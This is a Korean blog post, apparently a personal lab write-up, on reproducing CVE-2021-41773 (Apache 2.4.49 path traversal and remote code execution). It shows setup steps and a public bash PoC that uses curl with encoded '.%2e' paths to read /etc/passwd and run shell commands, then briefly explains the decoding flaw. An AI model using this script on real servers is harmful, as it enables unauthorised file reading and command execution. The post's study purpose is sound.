[1-Day]CVE-2021-41773

Ccr3t·2025년 1월 15일
0

Study

목록 보기
2/2

[Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution(RCE)]

거의 한달만에 글을 작성한다..
프로젝트 때문에 정~말 말도안되게 바빴다.. 와 그래도 결국 해냈네 ㅎㅋㅎ
프로젝트 하는 동안에 모의해킹 시나리오를 실습 해 볼 기회가 생겨 해봤는데 너~무 재밌어서 공유를 하고자 한다!

CVE 정보

취약점 이름 : CVE-2021-41773
취약점 유형 : Path Traversa & RCE
취약한 버전 : Apache HTTP Server 2.4.49
취약점 위험도 : 상

0. 실습환경

OS : Red Hat Enterprise Linux 9.5
Kernel : Linux 5.14.0-503.15.1.el9_5.x86_64

1. Apache HTTP Server 2.4.49 특정 버전 설치

# 필요한 패키지 자동 설치
yum install gcc make wget tar -y

# 파일 다운로드
wget http://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz

# 파일 압축 해제
tar -xvf httpd-2.4.49.tar.gz

# 디렉토리 이동
cd httpd-2.4.49

# 파일 다운로드
wget http://archive.apache.org/dist/apr/apr-1.7.0.tar.gz
wget http://archive.apache.org/dist/apr/apr-util-1.6.1.tar.gz

# 파일 압축 해제
tar -xvf apr-1.7.0.tar.gz

# 파일 압축 해제
tar -xvf apr-util-1.6.1.tar.gz

# 파일을 다른 디렉토리로 이동
mv apr-1.7.0 srclib/apr
mv apr-util-1.6.1 srclib/apr-util

# Apache 웹 서버를 소스에서 빌드하기 전 환경을 설정
./configure --prefix=/usr/local/apache2 --with-included-apr

# Makefile에 정의된 규칙에 따라 소스 코드를 컴파일하고 빌드
make

# 소스 코드를 컴파일한 후 프로그램을 시스템에 설치
make install // root가 아닐시 sudo make install

2. Apache 설정

# Apache 웹 서버의 버전 정보를 출력
/usr/local/apache2/bin/httpd -v

# Apache 설정 파일인 httpd.conf 편집
vi /usr/local/apache2/conf/httpd.conf

# Apache 설정에서 모든 클라이언트의 접근을 차단에서 허용으로 변경
Require all denied → Require all granted

# Apache 웹 서버를 시작
/usr/local/apache2/bin/apachectl start

3. PoC 테스트

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

[PoC.sh]

# 필자는 8080포트로 서버를 열었는데 아무것도 안 건들였으면 포트 생략 또는 8080 -> 80
http://13.125.143.118:8080

[targets.txt]

Exploitation: Path Traversal

./PoC.sh targts.txt /etc/passwd

Exploitation: Remote Code Execution(RCE)

./PoC.sh targets.txt echo; id

4. 문제원인

URL 인코딩 시 .(점) = %2e 로 변환되는데 이걸 서버측에서 디코딩시 %2e를 .(점)으로 잘 변환하지만, .%2e는 이 .(점) + %2e 자체가 하나의 문자로 취급으로 우회되어 디코딩 하지 않고 그대로 두어 발생하는 현상이다.

하지만, %2e. 부분은 %2e가 먼저 인식하여 .(점).(점) 으로 리플레이스 된다.
이후 서버측에 완전히 삽입되는 방식은 ~/../../../../etc/passwd와 같은 형식으로 삽입된다.
실습해보려고 환경 설정 하고 이해하고 맨땅에 헤딩하는데 5시간정도 걸렸지만 너무 재밌었다!

이상 보고 끝!

profile
웹해킹을 잘 못 하지만 좋아 하려고 노력하는 한 젊은이.

2개의 댓글

comment-user-thumbnail
2025년 1월 16일

웹 해킹 뉴비 한명 잘 배우고 갑니다~

1개의 답글